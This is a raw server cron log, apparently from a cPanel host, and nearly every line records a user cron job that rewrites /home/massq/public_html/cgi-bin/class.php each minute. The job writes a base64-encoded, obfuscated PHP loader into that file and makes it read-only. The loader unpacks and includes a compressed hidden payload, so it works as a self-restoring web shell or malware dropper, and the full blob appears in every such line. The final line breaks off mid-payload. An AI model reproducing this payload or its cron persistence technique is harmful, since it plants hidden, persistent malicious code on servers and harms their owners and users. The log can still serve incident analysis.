Apr  9 20:36:01 server CROND[18985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:37:01 server CROND[19035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:38:01 server CROND[19088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:39:01 server CROND[19157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:39:01 server CROND[19158]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 20:40:01 server CROND[19212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:40:01 server CROND[19213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:40:01 server CROND[19214]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 20:40:01 server CROND[19215]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:41:01 server CROND[19410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:42:01 server CROND[19462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 20:42:01 server CROND[19463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:43:01 server CROND[19522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:44:01 server CROND[19583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:45:01 server CROND[19638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:45:01 server CROND[19639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:45:01 server CROND[19640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:46:01 server CROND[19740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:47:01 server CROND[19883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:48:01 server CROND[19942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:49:01 server CROND[19994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9y